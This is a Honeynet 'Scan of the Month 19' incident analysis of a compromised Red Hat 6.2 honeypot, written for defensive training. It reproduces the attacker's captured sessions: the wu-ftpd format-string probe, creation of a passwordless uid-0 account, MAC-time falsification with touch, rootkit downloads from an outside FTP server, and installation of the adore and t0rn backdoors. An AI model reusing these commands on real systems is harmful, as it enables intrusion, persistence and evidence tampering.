Scan of the Month 19

Scan 19 Results

Analysis provided by Sven Carstens s.carstens@gmx.de

The Challenge:
On September 16th a Redhat Linux 6.2 honeypot was compromised. This is the 3rd time this system was compromised by the same intruder. The honeynet is VMware based and uses a modified bash to log to syslog. Syslog is remotly logging to 0.0.0.0 (remote syslog server IP has been replaced). The compromised system has an IP of 192.168.1.102. After successfully breaking into the box, the attacker ended up using 3 modes of connecting and running commands (some of which is encrypted). The attacker also tried to hide some of his edits from the MAC times.

Which vulnerability did the intruder exploit?

What ways, and in what order, did the intruder use to connect and run commands on the system?

How did the intruder try to hide his edits from the MAC times?

The intruder downloaded rootkits, what were they called? Are they new/custom rootkits?

Recover (tell how you did it too) the rootkits from the snort binary capture

What does the rootkit do to hide the presence of the attacker on the system?

What did you learn from this exercise?

How long did this challenge take you?

Bonus Questions:
Based on this challenge, write an example letter of notification to the source owner that attacked the system. Include any evidence or logs that you feel important.

The Analysis:

Tools used for the analysis:
SNORT for analysing with known IDS-rules
ETHEREAL for visualizing and human analysis

After downloading the challenge and verifying its checksums we start our analysis.
snort -r newdat3.log
This gives us a file snort.alert

In this file two ip-adresses spring right up:
207.35.251.172 with a portscan and a wu-ftpd SITE EXEC overflow
217.156.93.166 with an unsuccessfull telnet login attempt

That gives us the answer for: Which vulnerability did the intruder exploit?
But now we'll use our own brain and see what the attacker is doing with our precious system.
We start ethereal with the log file (and hope we have enough computing power). If we don't have enough power to browse easily through the logs, ethereal provides us with a save-as facility to split it down into the interesting parts which are less demanding for our computer.
The (almost) complete attack in one small file: selected.log
As an additional feature and as the attacker is using different means to connect we use the Display->Colorize Display function of ethereal and assign different colors to the different connections found in the log. Best way without going into details of filtering is to select a maybe interesting packet. Choose Tools->Follow TCP Stream. This will automatical build the appropriate filter rules to contain only that stream. Via copy (CTRL-C) and paste (CTRL-V) we put it into the colorization dialog.
The attack stream as decoded by ethereal into a human readable form: attack.stream

The interesting parts from here:

220 ns1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS mozilla@
230 Guest login ok, access restrictions apply.
SITE EXEC %020d|%.f%.f|
200-00000000000000000049|0-2|
200  (end of '%020d|%.f%.f|')

...Lots of attack strings snipped...
The show (exploration of our system) begins

w
  4:17am  up 3 days, 10:25,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
dir
bin   dev  home  lost+found  opt   root  tmp  var
boot  etc  lib	 mnt	     proc  sbin  usr
cd /usr
ls
X11R6
bin
dict
doc
etc
games
i386-redhat-linux
i486-linux-libc5
include
info
kerberos
lib
libexec
local
man
sbin
share
src
tmp
cd local
dir
bin  doc  etc  games  info  lib  man  sbin  src
cd bin
dir
bash  bashbug
cd etc
/bin/sh: cd: etc: No such file or directory
ls --color
[0m[01;32mbash[0m
[01;32mbashbug[0m
[mcd ..
cd etc
ls--color
/bin/sh: ls--color: command not found
ls
dir
pwd
/usr/local/etc
cd ..
cd doc
dir
cd /tmp
dir
install.log
cd /
dir
bin   dev  home  lost+found  opt   root  tmp  var
boot  etc  lib	 mnt	     proc  sbin  usr
cd dev
dir

Up to here he just jumped around a little bit clueless.
As the listing of /dev is a little bit too long we snip it.

dir

It was too fast so he tried it again

cd /etc/X11/applnk
ls
Internet
System
Utilities
cd internet
/bin/sh: cd: internet: No such file or directory
cd Internet
ls
elm.desktop
lynx.desktop
minicom.desktop
mutt.desktop
ncftp.desktop
pine.desktop
slrn.desktop
telnet.desktop
trn.desktop
pwd
/etc/X11/applnk/Internet

Checking back with reality here we notice some time passes.
pwd was at 2001-09-17 02:03:36.3958
the session continues at 2001-09-17 02:12:54.4741

passwd nobody -d 
Changing password for user nobody
Removing password for user nobody
passwd: Success

We notice here that a telnet session is initiated right after these commands.
As it comes from 217.156.93.166 (noticed at the start with a failed login) we assume that our attacker has another system under his control and uses that one for the direct interaction.
He just logs into the system with the now password less account nobody, issues a w command and logs out.
We now return to our attack session.

cd /

Again almost two minutes pass before he goes on.

mkdir -p /etc/X11/applnk/Internet/.etc
mkdir -p /etc/X11/applnk/Internet/.etcpasswd
touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd
touch -acmr /etc /etc/X11/applnk/Internet/.etc
passwd nobody -d
/usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash
passwd dns -d
touch -acmr /etc/X11/applnk/Internet/.etcpasswd /etc/passwd
touch -acmr /etc/X11/applnk/Internet/.etc /etc
Changing password for user nobody
Removing password for user nobody
passwd: Success
Changing password for user dns
Removing password for user dns
passwd: Success

Now he used some more sophisticated methods and tried to hide his traces.
But as he used the passwd command before that, this comes too late and he missed to save the times from /etc/shadow.
He used the touch command to transfer the original MAC times from
/etc to /etc/X11/applnk/Internet/.etc
/etc/passwd to /etc/X11/applnk/Internet/.etcpasswd
and copied the preserved MAC times back to original files.
That gives us the answer for: How did the intruder try to hide his edits from the MAC times?
The next part of the exploration is very uninteresting and we skip it to take a short coffee break.
The rest of this session is this:

cat passwd-
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
named:x:25:25:Named:/var/named:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
john:x:500:500:John:/home/john:/bin/bash
dns:x:0:0::/bin:/bin/bash

It is now 2001-09-17 02:26:11.5288 and this session is abandoned by the attacker.
It will be closed at 2001-09-17 02:56:12.4702 by the attacker.

After the attack is finished our intruder comes back at 2001-09-17 02:32:10.2065 via telnet.
The clear text of this intrusion is decoded with ethereal: backdooring.stream
HINT: disable telnet filtering within ethereal. I was not able to get the full content with the filtering enabled.
HINT: the input from the attacker is echoed back to him, so we see it twice and mixed with the rest.

38400,38400
XTERM
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
!login: nnoobbooddyy
Last login: Sun Sep 16 04:32:21 from 217.156.93.166
sh: ulimit: cannot modify limit: Operation not permitted
sh-2.03$ ssu ud ndsns
]0;nobody@ns1: /

He used the password less account nobody to login and then changed to dns.
This account has uid 0 and therefore superuser privileges.

[root@ns1 /]# ww
  4:49am  up 3 days, 10:57,  1 user,  load average: 0.00, 0.00, 0.04
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
nobody   pts/0    217.156.93.166    4:49am  0.00s  1.02s   ?     -
]0;nobody@ns1: /
[root@ns1 /]# ccdd  
cdc d/ /ttmmpp
]0;nobody@ns1: /tmp
[root@ns1 /tmp]# mmcc  -s-
bash: mc: command not found
]0;nobody@ns1: /tmp

Midnight Commander seems to be his favorite toy but isn't installed here.
He uses ftp instead to get his rootkits/doskits/toys.

[root@ns1 /tmp]# ff
ffttpp  tteelleeppoorrtt..
cdc d //ddeevv//rrdd
]0;nobody@ns1: /dev/rd
[root@ns1 rd]# ffttp pt etleeploreptor.t.ggo.or.oro
]0;nobody@ns1: /dev/rd
[root@ns1 rd]# 
]0;nobody@ns1: /dev/rd
[root@ns1 rd]# 
]0;nobody@ns1: /dev/rd
[root@ns1 rd]# mmkkddiir r ssddcc00
]0;nobody@ns1: /dev/rd
[root@ns1 rd]# ccd ds dscd0c
]0;nobody@ns1: /dev/rd/sdc0
[root@ns1 sdc0]# lls
[00m
]0;nobody@ns1: /dev/rd/sdc0
[root@ns1 sdc0]# 
[Als
cd sdc0
[4hmkd
[4lir sdc0
ftp teleport.go.ro
Connected to teleport.go.ro.
220-
220-
220-                           H O M E  .  R  O
220-
220-                 This server is for HOME.RO members only.
220-                  Go to http://www.home.ro/ to register.
220-
220-                      No anonymous access allowed.
220-
220-
220 ProFTPD 1.2.2rc3 Server (HOME.RO Members FTP) [193.231.236.42]
Name (teleport.go.ro:nobody): tteellepeporortt
331 Password required for teleport.
Password:gunoierul
230 User teleport logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ccd dn ewn
250 CWD command successful.
ftp> gget et Zer0.tar.gzZer0.tar.gz
local: Zer0.tar.gz remote: Zer0.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for Zer0.tar.gz (139711 bytes).
226 Transfer complete.
139711 bytes received in 7.76 secs (18 Kbytes/sec)
ftp> bbyy
get c
oget copyp.y.tatrar..ggzz
local: copy.tar.gz remote: copy.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for copy.tar.gz (265189 bytes).
226 Transfer complete.
265189 bytes received in 14.6 secs (18 Kbytes/sec)
ftp> ggeet to ootoyty..ttaarr..ggzz
local: ooty.tar.gz remote: ooty.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for ooty.tar.gz (14847 bytes).
226 Transfer complete.
14847 bytes received in 0.856 secs (17 Kbytes/sec)
ftp> bbyyee
221 Goodbye.

He transfered three archives to the directory /dev/rd/sdc0.
Zer0.tar.gz
copy.tar.gz
ooty.tar.gz
The contents of these archives is extracted like detailed in the result of Challenge 18 with ethereal.

]0;nobody@ns1: /dev/rd/sdc0
[root@ns1 sdc0]# ttaar r zxzxvfvf  ZZ	er0.tar.gz 
Zer0/
tar: Archive contains future timestamp 2001-09-16 20:26:34
Zer0/Go
Zer0/ssh.tgz
Zer0/tls.tgz
Zer0/adr.tgz
Zer0/adr2.tgz
tar: Archive contains future timestamp 2001-09-16 20:27:45
Zer0/adore.h
]0;nobody@ns1: /dev/rd/sdc0
[root@ns1 sdc0]# ..//ZZ	er0/
]0;nobody@ns1: /dev/rd/sdc0/Zer0
[root@ns1 Zer0]# llss
[01;32mGo
[00madore.h
[01;31madr.tgz
[01;31madr2.tgz
[01;31mssh.tgz
[01;31mtls.tgz

The time is now 2001-09-17 02:43:43.3159.
The portscan that is now initiated from 207.35.251.172 is omitted, as it brings ethereal to a crawl on my computer.
Session continues at 2001-09-17 02:47:17.0614.
As the Zer0.tar.gz is used here a short summary of the files:
Go - the frontend for this package.
adore.h - header file for the adore rootkit.
adr.tgz - the source package of adore.
adr2.tgz - precompiled binaries for adore.
ssh.tgz - a backdoored (t0rn) sshd 1.2.27 .
tls.tgz - backdoor / logcleaner / sniffer / init-script and upgrader to fix the vulnerable services.
Now the frontend is executed and the rootkit installed.

]0;nobody@ns1: /dev/rd/sdc0/Zer0
[root@ns1 Zer0]# ..//
..//GG	o 2244
syslogd: no process killed
[1;37m====================================================================
[1;34m          .oooo.                        oooo         o8o      .
  .o8    d8P''Y8b    
[1;37m               
[1;34m    '888         '''    .o8
.o888oo 888    888 oooo d8b ooo. .oo.    888  oooo  oooo  .o888oo
[0;34m  888   888    888 '888''8P '888P'Y88b   888 .8P'   '888    888
  888   888    888  888      888   888   888888.     888    888
[1;34m  888 . '88b  d88'  888      888   888   888 '88b.   888    888 .
  '888'  'Y8bd8P'  d888b    o888o o888o o888o o888o o888o   '888'
[0;31m                   Modificat de mine... Viruzzel            
[0m 
[1;37m====================================================================
             
[1;34mbackdooring started on 
[1;37mns1
[1;34m#                                                                  #
[1;34m#                                                                  #
              
[1;31mchecking for remote logging... 
[1;37mholy guacamole batman
${RED}                      REMOTE LOGGING DETECTED ${RES}
${WHI}        I hope you can get to these other computer(s): ${RES}
            000.000.00.000
 ${WHI}       cuz this computer is LOGGING to it... ${RES}

This should have been a warning but as it maybe scrolled too fast the attacker didn't see it.
Altought he put some sleep commands into his script, he just put them after his banner and not after the important stuff about the remote logging.
No attempts to the remote logging host are evident in the dump.

[1;37m--------------------------------------------------------------------
[1;34m# 
[1;34m[Droping files...] 
[1;37m--------------------------------------------------------------------

The backdoored sshd, adore and the sniffer/cleaner is unpacked.
And a mail is send from the script t0rn/shsml to hatcheryhatched@hotmail.com.
We see it in the captured packets and in the script itself.
The data contains some generic info and our passwd and shadow files.
A root shell is put into /usr/X11R6/bin/.,/copy/zsh

[1;37m--------------------------------------------------------------------
[1;34m# 
[1;34m[Installing trojans...] 
[1;37m--------------------------------------------------------------------
[1;34m# 
[1;34m        Using ssh-port : 
[1;37m24                                 
[1;34m

The backdoored sshd listens on port 24 as supplied at the command line.
Notice that the default port would have been 6666.

[1;37m--------------------------------------------------------------------
[1;31m[System Information...]
[1;37m--------------------------------------------------------------------
[1;34mHostname :
[1;37m ns1 (192.168.1.102)
[1;34mArch : 
[1;37mi586 -+- bogomips : 187.19 '
[1;34mAlternative IP :
[1;37m 127.0.0.1  -+-  Might be [ 1 ] active adapters.
[1;34mDistribution:
[1;37m Red Hat Linux release 6.2 (Zoot)
[1;37m--------------------------------------------------------------------
[1;31mipchains ...?
[1;37m--------------------------------------------------------------------
Chain input (policy ACCEPT):
[1;37m--------------------------------------------------------------------
[1;34m# 
[1;34m[Searching for Make, gcc...] 
[1;37m--------------------------------------------------------------------
[1;32mMake found!
[0m  
[1;32mgcc found!
[0m  
[1;37m--------------------------------------------------------------------
[1;34m# 
[1;34m[Installing adore...] 
[1;37m--------------------------------------------------------------------
Starting adore configuration ...
Checking 4 ELITE_UID ... found 30
Checking 4 ELITE_CMD ... using 107613
Checking 4 SMP ... NO
Checking 4 MODVERSIONS ... YES
Checking for kgcc ... found cc
Checking 4 insmod ... found /sbin/insmod -- OK
Loaded modules:
lockd                  31592   1 (autoclean)
sunrpc                 53540   1 (autoclean) [lockd]
pcnet32                10692   1 (autoclean)
Since version 0.33 Adore requires 'authentication' for
its services. You will be prompted for a password now and this
password will be compiled into 'adore' and 'ava' so no further actions
by you are required.
This procedure will save adore from scanners.
Try to choose a unique name that won't clash with normal calls to mkdir(2).
Password (echoed):llaabbuuttzzaa
Preparing /usr/X11R6/bin/.,/copy/adr (== cwd) for hiding ... 
Creating Makefile ...

The secret password for adore is labutza.
Now the build on the machine continues.

*** Edit adore.h for the hidden services and redirected file-access ***
cp: Makefile: No such file or directory
make: *** Warning: File `adore.c' has modification time in the future (2029-09-09 09:05:12 > 2001-09-16 05:02:21)
rm -f adore.o
cc -c -I/usr/src/linux/include -O2 -Wall -DELITE_CMD=107613 -DELITE_UID=30 -DCURRENT_ADORE=39 -DADORE_KEY=\"labutza\" -DMODVERSIONS adore.c -o adore.o
adore.c:484: warning: `/*' within comment
cc -O2 -Wall -DELITE_CMD=107613 -DELITE_UID=30 -DCURRENT_ADORE=39 -DADORE_KEY=\"labutza\" -DMODVERSIONS ava.c libinvisible.c -o ava
cc -I/usr/src/linux/include -c -O2 -Wall -DELITE_CMD=107613 -DELITE_UID=30 -DCURRENT_ADORE=39 -DADORE_KEY=\"labutza\" -DMODVERSIONS cleaner.c
make: *** Warning:  Clock skew detected.  Your build may be incomplete.
[1;32mava found... proceeding!
[0m  
[1;32msniffer running!
[0m  
Checking for adore  0.12 or higher ...
Adore 0.39 installed. Good luck.
File '/usr/X11R6/bin/.,' hided.
Checking for adore  0.12 or higher ...
Adore 0.39 installed. Good luck.
File '/usr/info/.t0rn' hided.
Checking for adore  0.12 or higher ...
Adore 0.39 installed. Good luck.
File '/dev/rd/sdc0' hided.
Checking for adore  0.12 or higher ...
Adore 0.39 installed. Good luck.
File '/dev/rd/nscd.init' hided.
Checking for adore  0.12 or higher ...
Adore 0.39 installed. Good luck.
File '/etc/rc.d/rc3.d/S50inet' hided.
Checking for adore  0.12 or higher ...
Adore 0.39 installed. Good luck.
File '/usr/X11R6/lib/X11/.~' hided.
[1;32mdone hiding...
[0m  
[1;37m--------------------------------------------------------------------
[1;34m# 
[1;34m[hmmm...nothing to worry about, for you, hehehe...] 
[1;37m--------------------------------------------------------------------
[34mUSE this file for testing purposes ONLY ... tested on RH6.2 
[36m
[32mLogin backdooring started ...

Here pam was modified to accept a backdoored login with user uucp
Responsible is the file tls/vrssnk.
It writes new files in /etc/pam.d/login and /etc/pam.d/su
Now pam_listfile.so is used with the files /usr/X11R6/lib/X11/.~/l.no
and /usr/X11R6/lib/X11/.~/s.no respectively.

[36m
[34mStep    1: 
[36mSetting login parameters ...
[60G
[32m [   OK   ] 
[36m
[34mStep    2: 
[36mSetting su parameters ...
[60G
[32m [   OK   ] 
[36m
[34mStep    3: 
[36mCreating config files ...
[60G
[32m [   OK   ] 
[36m
[1;32mDone??!!?hmmm.. who knows... 
[1;34m:
[1;31mP 
[1;32mI DO! hihihi

All the backdoors and rootkits are installed.
Now it's time to clean up the system.
sauber is used for that purpose. It resides in tls.tgz -> vrssb

[1;37m--------------------------------------------------------------------
[1;34m# 
[1;34m[Linking /bin/.bash_history, adjusting time...] 
[1;37m--------------------------------------------------------------------
[1;37m====================================================================
[1;32m     HIHIHI.. CICA GATA.. AM TERMINAT!! 
[0m    Zer0... by Viruzzel
[1;37m====================================================================
]0;nobody@ns1: /dev/rd/sdc0/Zer0
[root@ns1 Zer0]# 
exit
sh-2.03$

The hacker logs out of this session after he used some other means to connect.
But first a short summary:
/etc/rc.d/rc3.d/S50inet was modified to start:
/dev/rd/nscd.init was installed to start:
the backdoored sshd
the adore rootkit
the sniffer
then adore is initialized to hide the processes.
The other archives (ooty / copy) were not touched so far.

The other means to connect is the fresh installed sshd on port 24.
As the connection is encrypted we can't follow him from here.
But as the honeynet team is experienced enough they enabled remote logging in bash.
Now we start to have a look into the slog2.log
We notice the first sshd session from 2001-09-17 02:51:58 to 02:58:41
The corresponding syslog messages are:
sh: HISTORY: PID=9382 UID=0 w.
sh: HISTORY: PID=9382 UI D=0 whoami.
Please note here that we got no pam entry so far.
This indicates that he used the backdoor function of the sshd.
Now is the time he closes his telnet session which he used to install this backdoor.
He finally removes the Zer0.tar.gz, resets the password for nobody.
He logs off and one minute later he is back and uses again the backdoored sshd.
While logged in with the sshd he opens another telnet session.
Here he only tests if his login backdoor for user uucp works.
He resumes with the ssh session and does some cleaning:
he edits /etc/rc .d/rc3.d/S50inet where adore and the rest of the stuff is initaly started.
he moves copy.tar.gz to /usr/X11R6/lib/X11/.~/copy and unpacks it.
He's changing all attributes to 7777.
And then the syslog stops at 2001-09-07 03:07:58
He's finally really logging off at 2001-09-07 03:11:25
What happens in between is just speculating until we break the ssh encryption.

The Answers:

Which vulnerability did the intruder exploit?

He exploited a vulnerabiltity in wu-ftpd. The so called SITE EXEC format string bug.
CERT advisory: http://www.cert.org/advisories/CA-2000-13.html
The probably used program is contained in copy.tar.gz as zxploit

What ways, and in what order, did the intruder use to connect and run commands on the system?

1. he connected via telnet but was not able to login.
2. he connected via ftp, used the exploit and reset the password for nobody and created a new user dns with superuser privileges.
3. he uses telnet to login to the system as user nobody and uses su to become superuser.
He also installed the following backdoors:
sshd listening on port 24
pam changed to accept user uucp without password
4. he uses the sshd on port 24
5. he uses the sshd on port 24
6. he tests the backdoor in pam via telnet

How did the intruder try to hide his edits from the MAC times?

He uses touch with the -r option to copy the MAC times to a newly created file and copies them back after he finished the changes.
Note however that he fails in the first attempt as he changes the files before saving their MAC times.

The intruder downloaded rootkits, what were they called? Are they new/custom rootkits?

He used his own combination of a part of t0rn and adore 0.39b3 .
Instead of trojaning all important system programs as the original t0rn does, he uses adore to hide his traces.
He adapted the install script from t0rn for his purposes to not only install adore and the sshd backdoor but also changes pam to accept the user uucp without password.
He also enhanced adore to contain a fixed list of processes to hide. Here he hides his root-shell, sniffer and backdoor-ssh.
The backdoor-sshd from t0rn is unmodified. Only the backdoor password is prepackaged and the idle timeout in the config file was changed.
Adore LKM rootkit: http://www.team-teso.net
Writeup about t0rn: http://www.securityfocus.com/infocus/1230

Recover (tell how you did it too) the rootkits from the snort binary capture

I used the follow TCP Stream command from ethereal to focus on the ftp transfers and saved them to disk.
See responses to Challenge 18 for more details.

What does the rootkit do to hide the presence of the attacker on the system?

It mainly uses the adore LKM to hide user defined processes and files on kernel level.
The installation routine also uses touch to preserve the MAC times and finally cleans the log files.
wtmp and utmp do not seem to be cleaned however.

What did you learn from this exercise?

My computer is too slow for the full capture.
There was no portscan before the exploit, so no warning of the impending attack.
At first the intruder seems to be a little bit confused (ls of /dev).
After some time he seems to be more skilled (touch).
This might lead to the conclusion that we're not dealing with one attacker.
Maybe the original intruder was stuck and got some support from a far more skilled person.
At the end he fails to reach expert level as he ignores the remote syslog warning and wtmp/utmp.

How long did this challenge take you?

After recompiling an up to date ethereal and splitting the log files:
1 hour for the initial browsing and coloring of the TCP streams.
2 hours for the write up.
2 hours browsing the net for information about adore and t0rn.

Bonus Questions:
Based on this challenge, write an example letter of notification to the source owner that attacked the system. Include any evidence or logs that you feel important.

There are 4 different parties to inform:
1. the owner of the attacking host 207.35.251.172 in canada

Inform them that the host is hacked and used for further attacks. Send them some references regarding the used vulnerabilities to help them fix their system

2. the owner of the ip-range of the host used for further installations 217.156.93.166 in romania

They should get the full log files as they are probably closest to the original attacker and not another compromised machine.

3. the administrator of the ftp server used to host the rootkits 193.231.236.42 in romania

Send them a short summary of what happend and also parts of the log file stating that their server was used and some information regarding the user and the used rootkits.

4. the security team of hotmail.com because of the used email adress hatcheryhatched@hotmail.com

Send them a short summary of what happend and the logs detailing the mail that was send.